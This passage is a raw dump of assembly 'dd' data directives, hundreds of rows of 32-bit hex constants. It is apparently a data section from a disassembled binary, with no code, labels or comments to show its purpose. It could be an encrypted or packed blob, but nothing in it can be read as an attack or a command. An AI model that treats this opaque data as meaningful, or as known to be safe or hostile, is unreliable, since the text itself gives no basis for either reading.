		dd 0E30E4A9Dh, 0BBF3FEBh, 7654E147h, 0B5983DA6h, 741D0C66h
		dd 17567B5Ch, 0D9A43729h, 0E5283A0Ah, 5AFDC5BAh, 51280ED4h
		dd 402F9DC5h, 122B1EC1h, 32905F7Bh, 0E053EA01h,	76A4E93Bh
		dd 0A844247Fh, 0A0681394h, 7E12D0F9h, 0C01AE956h, 7F0D45B9h
		dd 40ABB620h, 33928D2h,	5BDF090Eh, 85B0D6E9h, 3456955Fh
		dd 25311FD0h, 16D105A6h, 53292A03h, 0E9F0983Ah,	0D0994FB6h
		dd 0FB424AF6h, 0EE050576h, 64D63213h, 5280AED1h, 0D009662h
		dd 0BF779D24h, 34161AD0h, 64BE312Bh, 50B4BA84h,	0D41613F0h
		dd 44E50122h, 3014A853h, 2981EBDFh, 0E3A1806Bh,	4C5AD122h
		dd 7FD4B2D1h, 97187F76h, 8D0430FEh, 209706FEh, 71DAC1A8h
		dd 0F8D1F22Ch, 96779041h
		dd 5FCA28D7h, 6B05F9EDh, 11AEFD0Ch, 205F575Dh, 0C42FDA90h
		dd 0C1461D0Bh, 0C65D83E6h, 0FA6E986Ah, 2A859089h, 9DD0D9E9h
		dd 4168C82h, 883BC0F7h,	52199FA9h, 0C06274E2h, 0CE12FEDEh
		dd 0C3802C83h, 0AFF799FAh, 0FE2E4868h, 542C110Fh, 1501B64Ah
		dd 0C01AC680h, 0EECC04E6h, 7CF6F203h, 35699033h, 0B8BB21E9h
		dd 0F5EB1755h, 7EE299AFh, 742E60E0h, 1CC5F85Eh,	5AE96091h
		dd 0E55D2A31h, 834261Fh, 7C2758EFh, 5B6C08FCh, 0BA09D920h
		dd 6763179h, 71729EFh, 22F745F5h, 6C8FB7BCh, 0A100C383h
		dd 525A0629h, 16906856h, 0AB66BC4Ch, 0EA04AA8Bh, 0BE3FE31Bh
		dd 9B680A58h, 1F42901Ch, 0AE700C36h, 0F8491759h, 0BD55E135h
		dd 0FDEBF009h, 2668540Eh, 828DA01h, 0D2229208h,	40478F13h
		dd 0D12D8E0Bh, 0E2538CCBh, 5F25F9FDh, 20E55F87h, 13765E08h
		dd 88550330h, 0C1B55BFCh, 14CF5E3h, 126E3C29h, 2552EB5Fh
		dd 0FDE65A09h, 0C33A7304h, 0AF878F1Ch, 0E2205921h, 3EAE858h
		dd 5AD02807h, 0F8501F04h, 9796B353h, 0F31C6672h, 78A7E930h
		dd 0F673954Ah, 9EF1456Bh, 0B529E73Ah, 599E96F5h, 47B97DCh
		dd 0D8291FCDh, 0FC03BF25h, 0E053B037h, 1647C4E9h, 5836034h
		dd 81D1F7CEh, 6F9768B4h, 4BBA6052h, 5E565BCDh, 4A2CB163h
		dd 4ABFC22h, 6DE52BBEh,	0D4AEC384h, 360282DCh, 0C9424B09h
		dd 393E5A62h, 0E9A40160h, 839774CAh, 0BF0EA74h,	6FA3745Ah
		dd 5241EF2Dh, 0F47C6040h, 0EA1FC8B7h, 601625Dh,	595ED321h
		dd 0EAA6DAC2h, 5E615FC1h, 539B205Bh, 55713718h,	0E46B010Ch
		dd 41F3E91Ah, 0CA008C2h, 0E8584B14h, 0A1A5D356h, 6DD9F5E6h
		dd 9204D565h, 3E5C86Ah,	40040FC0h, 431D1849h, 0F18E3E13h
		dd 0FC10EB27h, 80BA00ACh, 0D9F7E38Bh, 5AC22ADFh, 0D79F32D1h
		dd 0E961A4F9h, 1B751C5Ah, 565FBDBh, 2012B66Eh, 51CBFBF5h
		dd 5D1BE04Eh, 24C14840h, 167205E5h, 49669025h, 21604B23h
		dd 6C6B2F90h, 0D0017624h, 1C68081Ch, 6CFD2514h,	9CF3BD0Fh
		dd 0F5B125E2h, 826E0DD1h, 40D8281Ch, 30E912A8h,	0B6B51B89h
		dd 0E626809Eh, 10E9F5Ah, 9B0373FEh, 0D9F58821h,	2922FD28h
		dd 37E580C3h, 0D82ACD99h, 0C04D57F5h, 31C21BEBh, 7DDEB25Bh
		dd 59861F22h, 5CC731F7h, 6E38100h, 0B4CF3326h, 0B9342E0Ah
		dd 7A3ADEA7h, 68C14055h, 98475BEDh, 99539B5h, 80FFB2Dh
		dd 4517E581h, 3D3FEEB8h, 6529D09Fh, 2CB89D6h, 5D286A08h
		dd 8401CB3h, 521DBC99h,	0D8B9EA88h, 74AB101Dh, 0F65AFA62h
		dd 0F5D5E3DFh, 52DE80FBh, 0D0BD6CB2h, 6BEAE6F1h, 0C4000606h
		dd 0B068F1C2h, 0B19898B7h, 18CE9C01h, 282C22F7h, 756FE24Ch
		dd 3509199Eh, 2D88EB4Dh, 6A106832h, 581637Dh, 5EA3926Eh
		dd 85DCE5F7h, 0D05FB9E9h, 0C44EEEE6h, 3558490Ch, 2CE90DEAh
		dd 4A5C2E46h, 25D426A8h, 4A824B74h, 5D9E57ABh, 2DC72D82h
		dd 564ADCC6h, 7BA901F8h, 48859EBDh, 9931BA40h, 52039D23h
		dd 7A6D70F0h, 425A0216h, 1D56A708h, 0FAB98B59h,	5462265Eh
		dd 2033FA32h, 292C6D03h, 0ED105BC2h, 6C7800Eh, 0C2CCE765h
		dd 660C016Eh, 5781714h,	6301EA6Ch, 0DC6228Dh, 0F495B730h
		dd 0BF614BC3h, 70BEBDC2h, 5B64BE0Ah, 1EFF19FAh,	99681253h
		dd 12B5B30Fh, 0D3B45AD8h, 276F627Dh, 6C5F2E33h,	40803DFBh
		dd 0C1485905h, 0F85C2E0h, 369D75D8h, 41C698E4h,	2BA47AE4h
		dd 0EBEBE008h, 4159AACBh, 0AC604731h, 7DC4FEBCh, 0D6E43CE1h
		dd 0E80AF496h, 0E8381306h, 74DA2CE9h, 0B0F01F7h, 56302BD6h
		dd 0C20DD6A3h, 0BA5550EFh, 0EF765DC7h, 0C2D83143h, 957C967h
		dd 0BD48D041h, 0FBF08801h, 6A900FCEh, 4CAD80BEh, 0BE8ED230h
		dd 0C2106DA7h, 0DD2809FBh, 5446875Bh, 0DF3DCFB2h, 6A83BDBAh
		dd 0C5953FBCh, 0EF6A0A72h, 54DE2D08h, 184868EFh, 134B4259h
		dd 0D56D442Dh, 729E490h, 0CBAEB060h, 0F330F125h, 1EBC42Eh
		dd 215F5A08h, 26C5E4C8h, 5E0C896h, 4CBBC7A5h, 0A95A4A8Fh
		dd 0C529036Eh, 12A185E9h, 0EF6855BEh, 2CBA0953h, 0E7D4447Ch
		dd 74A9246Eh, 0B151B203h, 499AF2FDh, 54E558F5h,	0E958686Bh
		dd 4B64B84Ch, 5FD48BFBh, 58D4DEA8h, 5F2A2B30h, 0ECBDD301h
		dd 52631D3Eh, 8BDFAD26h, 5A1E0969h, 0FC2FEDC2h,	8F737B2Fh
		dd 0ACA0079Ah, 0C497CCC8h, 8E681597h, 0B9023C0Dh, 3E4844CAh
		dd 0E6F6487Fh, 706F304Eh, 0D8F5D40Ch, 0CB0A9D98h, 0F342BBE9h
		dd 7B2C4440h, 0AEFC9F2Bh, 0D3BF57C0h, 39CE0B62h, 75A21FE9h
		dd 0EA82F201h, 27621772h, 8237D457h, 43A536FCh,	7DCB9A55h
		dd 0E9178B3Ch, 0D8BE3A5Bh, 0F182EF93h, 864A88BCh, 0D695F1Ch
		dd 2D464D88h, 92410287h, 1CD52B87h, 4E3BFC6Bh, 55E6E4BFh
		dd 0C970D49Fh, 0ADE902B0h, 290999BCh, 58B075C7h, 0D29FEE81h
		dd 13FE9868h, 0FAA68BE9h, 0A43EEE33h, 56CBD6D8h, 0BE4B734Ch
		dd 0A490F82Dh, 96680B65h, 0D6997F58h, 72F1FCD9h, 5640799Eh
		dd 241C8DBEh, 2DBD619Dh, 38B50A5Dh, 0F3D95A1Ch,	31013D50h
		dd 56C7C8F8h, 6A6BFEF4h, 5B29FF5Bh, 72A979h, 935ACBE4h
		dd 397C9656h, 0C8810851h, 0E5282DC1h, 2ED9FD6Bh, 197E69C1h
		dd 5DD96AFDh, 0AACDC02Bh, 130E8B63h, 2007F605h,	25D8F730h
		dd 5A59E4DBh, 0C495AC31h, 80ABC329h, 4410593h, 930492Fh
		dd 3ABADDE0h, 0C0185E5Dh, 0E152FDFh, 0CBE5C13Ch, 0FDCF88AFh
		dd 823FE1B5h, 4F87FEEEh, 65F8630Bh, 0A4A8544Bh,	2F16E5D4h
		dd 103DDDD2h, 19156899h, 56C6E981h, 1B80A5Dh, 2050244Dh
		dd 28BF9AFh, 0F0563877h, 9F1D5069h, 0F7E9485Eh,	8E8C00C5h
		dd 0BDC587CBh, 0BF097Ah, 0E932495Bh, 0F0E6E569h, 86350452h
		dd 804E0BE4h, 0D306BB98h, 50017A3Bh, 301FACAFh,	0F38175BEh
		dd 0F6D3617h, 5886A03Eh, 0C5BD874Eh, 0A041E9C2h, 68F69955h
		dd 75C26DF1h, 415A59DEh, 0B00278E1h, 823082FDh,	49020B4Eh
		dd 0F40B7023h, 0FFF4AF12h, 0ED45F280h, 2AE94BBFh, 0BC38DC52h
		dd 0BB482FD6h, 1D12FCE3h, 3F00412Fh, 9B42C15h, 0DBF72443h
		dd 0D27D13B5h, 6262AC80h, 80D9765Fh, 88B51BB4h,	54C5E530h
		dd 0EB293C81h, 57B6DEDh, 0C460B569h, 0FAEF528Bh, 4B3B5EC1h
		dd 0BFDBDDC2h, 0B12596Bh, 0CD94E16h, 18895E9Eh,	0DEE9A92Ch
		dd 0D360271Bh, 731DC5F1h, 7EBE7E78h, 21322D0Bh,	3DE43850h
		dd 15732D05h, 875E5D89h, 601A7127h, 1BB620CAh, 7771F6A0h
		dd 432D8C0Ah, 0AC01994Bh, 21E9106Fh, 874FF841h,	0D6CAE2D2h
		dd 685002A3h, 457735B9h, 309920E9h, 0B8271627h,	8CB81F98h
		dd 89B38295h, 7679C2EBh, 0BA5D27FAh, 6E7E554Ch,	712A7780h
		dd 0D27C2978h, 67B50858h, 9AB08912h, 81444196h,	0ED56C966h
		dd 0A7424042h, 83F576B6h, 7BA415FCh, 34D0B0DAh,	813D209Fh
		dd 2C270ACAh, 34B5091h,	5E2A7893h, 4BE0C01h, 0C368317Fh
		dd 628C917Ah, 67BE0569h, 0C53EC207h, 0D0CD2548h, 7623C04Ch
		dd 0F66CED3Ch, 0B4501D09h, 88262218h, 3F6E41EAh, 6FA357ACh
		dd 0DF4CA946h, 2417DF9Ch, 0F25CD7FEh, 1EDF0F70h, 0AB574F63h
		dd 54553A21h, 0CEC1013Eh, 832D0938h, 0E747CEAh,	16AEE45Fh
		dd 9295FBA5h, 89C004FBh, 0F93005DAh, 0DD0FB51Ah, 0D850CA82h
		dd 935AF9F7h, 798DAD55h, 2C687E40h, 0C2A21D78h,	0FE57EDBCh
		dd 0EB6472DDh, 8112B15Ah, 580BD1E3h, 4D555450h,	0ED57929Bh
		dd 0D4A184E9h, 0AAD61213h, 81EBA7C7h, 5FF92910h, 0E9844839h
		dd 3D0BCF8h, 0B252C5B9h
		dd 6BAAD109h, 0ADD28D97h, 3ED34DC4h, 0AF45C30Ah, 4A7BF23Eh
		dd 0F8B591AAh, 22F7FA68h, 0AEF3411h, 2CFA0543h,	309AAF2h
		dd 43C577E0h, 0F88759ACh, 0FA0CC56Fh, 4EA31CEBh, 0F30CB1CCh
		dd 6B0A311Bh, 8DC31082h, 14050C08h, 1AACF6FEh, 606EBA1Fh
		dd 9F6768A9h, 0A2B2C151h, 4D0B09DBh, 662B2FD7h,	28274C47h
		dd 94A15BDAh, 0B7620CD6h, 2DEE50D1h, 0C3FF64E9h, 222511E0h
		dd 43525C21h, 66E11690h, 2593E5E9h, 0E7FC618Fh,	74793C13h
		dd 6F3EFED1h, 7E68CE6Bh, 52BC052Dh, 9EFFA45h, 45F87DB8h
		dd 0E758DBD4h, 6A681205h, 21748C0Bh, 155D1B17h,	5A65F805h
		dd 0EFE974EEh, 41A6F0C8h, 0DA4BA022h, 16216100h, 0E9F7014Dh
		dd 33995EBDh, 0A98D20A8h, 0D061D391h, 0D42806E9h, 85685305h
		dd 94C5E7Eh, 7259283Ah,	2581559Eh, 5D785970h, 2243933Fh
		dd 6C9493B9h, 5B521413h, 774A18C4h, 16E8EB7Bh, 1F671F54h
		dd 2B714277h, 66C34317h, 3F59D4A2h, 1C5CF6AFh, 2BFCEDBBh
		dd 55475848h, 0AA32C6F2h, 670EA672h, 541AE90Fh,	5CF0CE2h
		dd 2FB5BB2Ch, 54EC4B8Eh, 0F8092E69h, 0FC728850h, 0E213D774h
		dd 0FBC76658h, 7616FDB6h, 27549EE9h, 0BDD3A2DFh, 0B3772B5h
		dd 6B752B9Bh, 31C2550Eh, 8180137Ah, 0C871CDA5h,	0FDFD899Dh
		dd 154F3B80h, 0E92739E4h, 0C5057DA2h, 8BD2BD2Ch, 5AB20554h
		dd 482120D2h, 82CED272h, 2C69E6C0h, 6482BB5h, 98D544FBh
		dd 2A150937h, 4B07176Dh, 77C36F53h, 2AC7C729h, 4F6F2808h
		dd 0B22E07D6h, 0C7FA0472h, 0BFED401h, 0FE94D75Ch, 0DFF329B7h
		dd 645DE152h, 0EE5B3068h, 5F0D1757h, 3410AA67h,	37E91708h
		dd 0F2AFBD13h, 0C231C570h, 13EA79C4h, 0AF1FC5C3h, 0A64F1F9Ah
		dd 593510AEh, 68565301h, 0EA074ECEh, 21F03AD0h,	830DC96Eh
		dd 0E0743A43h, 302756F6h, 5B182526h, 0D227D36Bh, 23AD489h
		dd 7012E9D8h, 96C5C005h, 8C45FC83h, 74F00107h, 5DE8EF41h
		dd 7A56A597h, 7682904h,	1BCA813h, 2212FF7Ch, 0A22BFE01h
		dd 7550C99Dh, 1E2D2B53h, 185D957Eh, 80209F2Eh, 549FC281h
		dd 2FB42618h, 29BE9A80h, 1F12741Dh, 1058D6F7h, 480A8ECh
		dd 5B56D0B2h, 0A522815Eh, 0C032B689h, 0A145014Ch, 0D609F3BBh
		dd 50228D5Ah, 78D9D127h, 0B1EB013Bh, 0FCCB20F5h, 1A9FABDDh
		dd 0BE407648h, 6001DFA5h, 5147BD68h, 1131DD6h, 942057ADh
		dd 3C2A24DFh, 732C08D3h, 13C8010Fh, 0E84F698Ah,	617FC6E1h
		dd 0F6EA77B5h, 0FBADB2EEh, 462226D5h, 4B4DC902h, 22782815h
		dd 0F17AC104h, 0CFB98DB1h, 0E9175A48h, 0AB25C5D4h, 0F4CB55Eh
		dd 58AABBC1h, 10D9AC04h, 5E303E6Ah, 0B888641Ch,	3D250303h
		dd 56772855h, 42D5BE07h, 5EA5106Bh, 0D14788AEh,	0F74DE51Fh
		dd 9F95DAEDh, 60DC1BC1h, 259DF36Bh, 91B14587h, 31B1AC2Ch
		dd 2DEE3AC3h, 21FA31C3h, 16A36BAFh, 57D99617h, 4F7BACDAh
		dd 47433FC1h, 32094366h, 0C85F3072h, 9D41081Eh,	89DF1246h
		dd 4EF03A0Ch, 786C0305h, 0D0F772ABh, 94C6F007h,	66D08EB2h
		dd 1453065Eh, 72DE829h,	16A314Bh, 0B5E63BC5h, 0B138E84Eh
		dd 6C9628EAh, 1631CB5Eh, 9FAD056Bh, 0B48F0492h,	8484B292h
		dd 0AB16AA43h, 0B55C2C2Ch, 0F82D75E4h, 0E1535640h, 885DF468h
		dd 1302949h, 3F56FEBBh,	93126E6Bh, 59D31D1Fh, 9753A6E0h
		dd 74EC3257h, 0E4BE2664h, 5484ABB8h, 574B98B7h,	0E204BE92h
		dd 0ACE826A1h, 3E3B06C0h, 0DB0EF77Fh, 4883EBD1h, 6D0102FFh
		dd 9CCB1E35h, 4FD1E7CFh, 0FD296E67h, 0BB080522h, 5CE71F2Ch
		dd 0BDC0A92Bh, 53D4FC23h, 81B70095h, 251F71E5h,	5CF6366Bh
		dd 841B156h, 6804388Ah,	0CBFA05C7h, 7F292599h, 76558B4Ah
		dd 0E45A970Ah, 220B3903h, 95E7D52h, 0CCB45503h,	50187595h
		dd 9DB49EE9h, 8BC1590Bh, 0D40BDD74h, 0B4829171h, 0FD3F945Ch
		dd 362553E0h, 0E0BD9FE2h, 261A5616h, 1E88162Ah,	1BA482D6h
		dd 0A260EAC1h, 95172FF2h, 12BB0B94h, 0AF99EEEFh, 47C99921h
		dd 0E7575012h, 0C67A758h, 81E2FD08h, 666CD1CDh,	0CF133015h
		dd 5156441Fh, 0D6C7F501h, 0B02FADAEh, 29F09E5h,	0FDF6FF77h
		dd 0DCAF83E5h, 674872E0h, 519D2003h, 2E0BCB93h,	14A654D9h
		dd 36AF2913h, 0FE387438h, 9DEE4B6Dh, 9D1DCDD8h,	0F78B4E3Ah
		dd 0E6B6A79h, 1FC381A0h, 0CD414163h, 0E0CC4907h, 0CE51954Fh
		dd 0F76FFD42h, 2172FE30h, 822CD1B5h, 434F5422h,	9B680860h
		dd 0C20C7495h, 454AF67h, 0B909299Eh, 0F19CD747h, 499F49Dh
		dd 0E8081C74h, 0CD7104F4h, 6485EEA7h, 80BBF3C0h, 0EC49258Ch
		dd 214F29F8h, 0C11130BEh, 3A203E5h, 0D18AE15Fh,	0C553D32Bh
		dd 3A1397B9h, 0FF4E718Ah, 2CE927DCh, 8065A3F9h,	174FBE56h
		dd 0E898641Dh, 0BB453E41h, 22F196AEh, 21259303h, 0B442E944h
		dd 34575D09h, 80EEB623h, 29BF5755h, 457C4942h, 0C8FCFD5Fh
		dd 7A679DE4h, 0E90C78B9h, 0C79163C3h, 0C1D0D50Bh, 77768996h
		dd 770C2045h, 45D0A61h,	9A50E005h, 2D58C240h, 90B2078Eh
		dd 3D34E9E8h, 4E8669Dh,	1E2073C3h, 0EB69D210h, 66680881h
		dd 0CEF260Ah, 1A7279ABh, 9E7F454Fh, 78425290h, 4111BF42h
		dd 5E02A51Ah, 7A30E261h, 5EF54D88h, 6F7A8C28h, 0C78F4648h
		dd 82A15751h, 0F970CA5Fh, 0E82141FBh, 0EDC95977h, 256A745Ch
		dd 1D447AF9h, 257F0716h, 292EA205h, 7E59DA61h, 1FE2D912h
		dd 16FEBB40h, 0EC5A6F46h, 7C91C2CDh, 38A6DCCBh,	5C762DEh
		dd 94865077h, 5A6E0B89h, 97D21C77h, 66713874h, 0E4BDFC6Ah
		dd 51044EA2h, 0BB5960E9h, 0EDA38FD8h, 0E8F5D93Fh, 0FD992C96h
		dd 695BD9CBh, 27BFE1DEh, 0ADC9DCEAh, 2A203AF8h,	50FEC7A8h
		dd 0FAA94549h, 0AF31E97h, 0AB79B371h, 895512DDh, 2097EED6h
		dd 2E14FC4h, 16F586A7h,	55EF24EEh, 60992080h, 80DC1D14h
		dd 0ECE635C4h, 0ED5BAD26h, 8BC1C16h, 499C0C9Eh,	8309EFCFh
		dd 5C0A7D6Ah, 0D708A0A3h, 0C84BBE1Ch, 0E9846859h, 0B3365E1Ah
		dd 0D0979FD2h, 4731D9C2h, 0F02109A5h, 0D84CC984h, 0D4FA2D1h
		dd 7F3DF0C9h, 50C4D310h, 422DE8A0h, 0FC5960F8h,	5ECF2F73h
		dd 2432B08Eh, 56FF2351h, 9037A220h, 0C9F73A0h, 0DFF613E7h
		dd 0F7F62010h, 0FA309A05h, 35A4C2E9h, 655A73D7h, 215B24CFh
		dd 8062BC94h, 0DF685120h, 263D072Ch, 3F4159h, 1B2459Dh
		dd 0E913F909h, 0D23510AAh, 4ACE9BBBh, 9AE10AECh, 0E46800ADh
		dd 0CF70BC34h, 0A375C4E5h, 0E9E84FF9h, 16DEDA7Ch, 88C2F056h
		dd 0BCAC85E3h, 1D058BBDh, 0E83F4F76h, 31A5B732h, 0E2E7A2ECh
		dd 4FC87CA6h, 88724427h, 146150B7h, 0A05F801h, 6D49E90Bh
		dd 0ADF6BFCEh, 0BF4F3B92h, 9071E8B9h, 38422D55h, 1AC32AA0h
		dd 7EB7B49Eh, 49340CA0h, 4B01EFB7h, 31CBBDF4h, 62705FFAh
		dd 4E6B1879h, 1C32D425h, 0C381830h, 0F62BA2h, 66230539h
		dd 83E902F9h, 0BF4A1961h, 56C265BEh, 343013A1h,	6B2BA1CEh
		dd 21F2F7ECh, 402B856h,	0FF682C4Dh, 25BDA051h, 41E06807h
		dd 0D692586Eh, 34DD301Ah, 0D20BF254h, 0EBB8D712h, 0EDB8EBC1h
		dd 16609520h, 20D361E9h, 6B7DEF7Dh, 0D21AFC2Dh,	633B20AAh
		dd 0E1C3801Eh, 4D426D17h, 0EC21E368h, 0ED9E207Eh, 562D7390h
		dd 83B0DADAh, 0C4BBA4ADh, 0A910C7FCh, 122538D0h, 50ED5E63h
		dd 7B170DC5h, 0A1B45164h, 0BE1FD35Bh, 0BBC29B67h, 0C9F74A64h
		dd 126C61E6h, 0DA885207h, 55D43750h, 0B874C1E1h, 85B796EEh
		dd 0B5C3C3F8h, 2CD966E8h
		dd 2BC1717Eh, 8ABE7384h, 844490A3h, 0F8902DA2h,	6EFE47E2h
		dd 9FD04C2h, 148F88CAh,	0D574C349h, 348BFBAh, 0A8E92CEBh
		dd 0C6712DD5h, 1E187D7h, 2F198E6Ah, 0F0EA871Ah,	0AC41FD5Ch
		dd 5C02C370h, 8150BC5Fh, 8C393F8Fh, 37A0CB27h, 0C26A26F6h
		dd 0D7180E62h, 0D2DD0982h, 0AD4834BDh, 67FCEE61h, 0EEE952B0h
		dd 560B31BBh, 5015DF54h, 0FB8164A6h, 53206656h,	0D329E86Fh
		dd 647FB7BBh, 0EE12CCB6h, 400650C2h, 26B91AB6h,	20C1654Ch
		dd 0BF4470FAh, 2CE54551h, 0D257B2FAh, 5575432Ch, 0AE21971Fh
		dd 4B1BAE89h, 0FF2A42FFh, 5609F595h, 7DBEB258h,	702062D4h
		dd 0D0C1485Bh, 382F9107h, 0B801504Eh, 6F942D0h,	92B3DE9h
		dd 0F8124742h, 0BBCAB742h, 1F9218D8h, 9D6F7097h, 727A327Ch
		dd 1B3A2068h, 5D80100h,	771335FEh, 2CBE1E56h, 4649CB41h
		dd 0B698784Bh, 7AF90F4Eh, 13BDEDA4h, 127AB23Dh,	0BFF6C4D7h
		dd 456FDA45h, 749600BDh, 7FCAAE58h, 412E94Fh, 1FEC68F9h
		dd 6301A8F3h, 0C134A41Bh, 8C1D2BE9h, 1642AF17h,	0F66C0768h
		dd 0ECD6D0FAh, 0FC1848BFh, 14EFD21Eh, 0DB3D750Dh, 0AF90FE40h
		dd 94290B27h, 3852F78h,	5E4BB9F1h, 2F507940h, 0B3A4DEECh
		dd 6857016Ah, 1BE45314h, 385C06Ah, 374C4201h, 5A09381Ah
		dd 31FC2BBEh, 0F5AEC253h, 7B56F73Fh, 4B163725h,	0D01DE046h
		dd 0F4E4A365h, 0FD015082h, 0D28D7E81h, 0A6B96FF5h, 3D58FA0Eh
		dd 0E169E9C4h, 14D36066h, 4AFD88BDh, 0C35DC1FAh, 0F82EB801h
		dd 4ABA2981h, 4F591A17h, 7952E6F1h, 25EDD443h, 0B45B9F12h
		dd 7A2206CFh, 189035Dh,	852D6056h, 0C34B0B78h, 0F65B798Eh
		dd 96D54806h, 0D96895D1h, 3F47992Fh, 2CF64A05h,	954A428Ah
		dd 0D5CCFF86h, 7B154182h, 0A505F707h, 0C175AD33h, 7402DD8h
		dd 91518DE9h, 60BA01D4h, 9857F00Ah, 0E8A155E6h,	0EE7C9505h
		dd 4880A492h, 6B3AB9h, 0E181095Bh, 1A2E6A28h, 4307C9ECh
		dd 0C155DD1Dh, 0F41E03C6h, 2D8E2772h, 75D8407Dh, 0CA2E27B7h
		dd 0F59A2DE3h, 32F79C1h, 4A1AB154h, 0E6C3913Eh,	749AD3E1h
		dd 437A6760h, 0F5705824h, 2D1F73BFh, 0CE811976h, 7F0632B2h
		dd 8782880h, 0F289D7D8h, 6F4B2CB8h, 0BD688F20h,	78EA8317h
		dd 5445AEAh, 0B24F7298h, 4BDEE7E8h, 99F30888h, 17790E88h
		dd 1310A821h, 9BB91A5Ah, 0F5B70FC7h, 49B3EE51h,	9ECAAED2h
		dd 0A372AA5Ah, 5620FDB1h, 0A47B4BC5h, 0CC746E7Bh, 0DCC8F0A9h
		dd 32C93EBCh, 5E645051h, 4F66B3EAh, 9788AB28h, 0BAC416FCh
		dd 0B342A4A1h, 0B72770B5h, 0DD49A259h, 0D75B09E4h, 5D54BAB3h
		dd 0BADF7F7h, 53516854h, 0D29CFC3Eh, 0E9C307ECh, 7402238Bh
		dd 0E01D0BFh, 0CCEFE166h, 7580DADh, 7D82F0E0h, 0F425F276h
		dd 535F967Fh, 0CAF1BE6Fh, 0B5ECEC7Ah, 0AF3346EAh, 0ED4FDF3Dh
		dd 0EA6978BDh, 48429F7h, 5802F4BFh, 80E1C780h, 0E7C0C4CFh
		dd 0F7280579h, 5B79B38Ah, 0E902E509h, 0FC74D88Ch, 61A67EBh
		dd 0BE17B26Ch, 51C52255h, 3E68015Dh, 7B75C20Eh,	0BD4EA864h
		dd 559350C5h, 124835F7h, 48AECA92h, 0C2F04DAh, 4A821DA9h
		dd 59F00B8Eh, 0E91A178Eh, 0F85935C1h, 643E09E3h, 0A8C8135Dh
		dd 5080EE4Eh, 3FF87289h, 0BB4B58C2h, 0DC41E12Dh, 0E73EACA7h
		dd 42D925B0h, 0A7F25C2Ch, 0F54AA241h, 2C13864h,	1585A50h
		dd 0B501E654h, 147986D1h, 0BB4DF03h, 5F863957h,	96F8CB7Bh
		dd 6C50C17h, 6A589C9Fh,	5914014Ah, 585A0F68h, 51485E80h
		dd 2D815AD7h, 0EA5F529h, 75EA1A20h, 0DA5E7F22h,	0CBE00AEFh
		dd 2FFA01BAh, 2B593510h, 0DC6F7863h, 0D830AC03h, 6FC5E3C1h
		dd 4B13090h, 52E13980h,	0BB38C196h, 64C9C4D1h, 9766F1F4h
		dd 602AB8D5h, 0BABDD38Eh, 0F406561Ah, 0BD0A13F7h, 58B4CF8h
		dd 3A296754h, 5724B182h, 34D7C022h, 0E1285065h,	9734F297h
		dd 190276DCh, 5D2BF54Bh, 0C827DEEh, 0E94182F4h,	1824B3A6h
		dd 0B60E5B7Fh, 51F90539h, 0E3F80850h, 79BB2B10h, 0A80668FCh
		dd 5D2CC915h, 0C586C01Eh, 0C1182169h, 73F0E358h, 0AF05520Eh
		dd 14F3C078h, 9F358001h, 32E2B902h, 267AC655h, 5B778879h
		dd 0C72D0C7Eh, 0C5107142h, 478BC250h, 0F193CE79h, 9758F8B0h
		dd 5B87DC5h, 942E57Ah, 0CA5B62A9h, 61E9C5F9h, 9729B8A0h
		dd 90806DDAh, 0C2454D4h, 46026E05h, 55673053h, 11B09FF4h
		dd 0B7515A5Dh, 0E5A89859h, 50BFE84Eh, 8016EDD6h, 0AF33FA60h
		dd 210CDCE0h, 9A54A72Ah, 0A00BCE8Fh, 5F453504h,	6B39D148h
		dd 0E9251E06h, 42975F3h, 0F927F5EDh, 10828433h,	5E2D08ABh
		dd 0A20F5782h, 0D7EE0504h, 7386508Bh, 7CFE4567h, 0A7904B4Fh
		dd 7B403AB6h, 0ED834D48h, 5F8FAB4Fh, 40578464h,	0C0674FC1h
		dd 0FCF2EB0Ah, 79BF821Bh, 825503EBh, 1D0947Ch, 7F5FFA29h
		dd 0C230EFB7h, 0E156F6E0h, 55095C76h, 2B21E95Fh, 0D5957F1Eh
		dd 8AE8E985h, 4939A6AAh, 0C47E4D49h, 0B90A3BF7h, 125145D4h
		dd 54088149h, 0F26D831Bh, 0E2772564h, 0E4CFA01h, 3F706851h
		dd 0B3DBBB16h, 0D264A35Ah, 310E5C05h, 9402CFE9h, 5A728E62h
		dd 42AB8280h, 80BD4BE1h, 496C714h, 0F20A762Fh, 0E66A2F66h
		dd 0B71570D2h, 2A891E2h, 72E9D089h, 0A0E6D633h,	4CF72FA0h
		dd 0E75E9746h, 2FE6D16h, 2B576891h, 0B184B159h,	23C0B042h
		dd 303F99C9h, 3BC65628h, 105D72D8h, 7FA740C0h, 13C64C10h
		dd 0BCC0EC20h, 0BA47AB8Fh, 6E81CB01h, 0DD987ED0h, 0ED1EE698h
		dd 0ADBE2824h, 0A9CD764h, 0FC29BB6h, 0D303DFB6h, 88C55637h
		dd 2BFBCAA6h, 0D23D62EEh, 42267556h, 9145205Eh,	13D16812h
		dd 17C53AECh, 0D19B613Bh, 0BCAF04BCh, 30A010F2h, 60813548h
		dd 0E221E65Ah, 0FEBD42C0h, 68124DA4h, 3DBB563Bh, 6853F4A4h
		dd 766F9F07h, 0B9655B11h, 0BFC971ECh, 4512DE5Ch, 0AAD0001h
		dd 0DFD554D3h, 13F04A4h, 94C5ECE6h, 62F4834Fh, 0EA9CC303h
		dd 0AC4B55EBh, 205599E7h, 0E9FB29B8h, 0ABC25A3Bh, 0BE562760h
		dd 0D36E12A2h, 461BC73h, 12D9486Dh, 450F7ACh, 9B3B1658h
		dd 714AB416h, 19852502h, 535A56E9h, 405012E4h, 23492DC6h
		dd 2126F682h, 8D39D6C5h, 0A6BDECC2h, 4E10D4h, 0EA013A94h
		dd 3F16856h, 0E9584B09h, 5D19A9FCh, 0D6093BBEh,	0DF70B773h
		dd 805ABC2h, 46E7FE55h,	0B760AF92h, 0B72F6668h,	9F20D146h
		dd 2E5A7EA3h, 0CEE719B4h, 68A50E89h, 0AB9713CAh, 39B8AD84h
		dd 3DE8884Ah, 9287163h,	2FE73C3h, 7D39202Eh, 0ADD7E3D1h
		dd 0CBF8081Ch, 0C3601885h, 1F5D285Fh, 5DA02C27h, 5C4A29E4h
		dd 48414DAEh, 0E5DD2083h, 267BE1E6h, 16212C30h,	14852DADh
		dd 0EE174302h, 0D86AC109h, 0E8C6F984h, 0CFE84A84h, 24903E61h
		dd 9CFC3085h, 9B3834Fh,	7D3D5610h, 0FB0E112Fh, 5FE96186h
		dd 0A45F6846h, 6168A500h, 963BB50Eh, 19B6883h, 40FA1127h
		dd 62A2241h, 915BDBB8h,	2F267F5Ch, 0AE772339h, 3F017337h
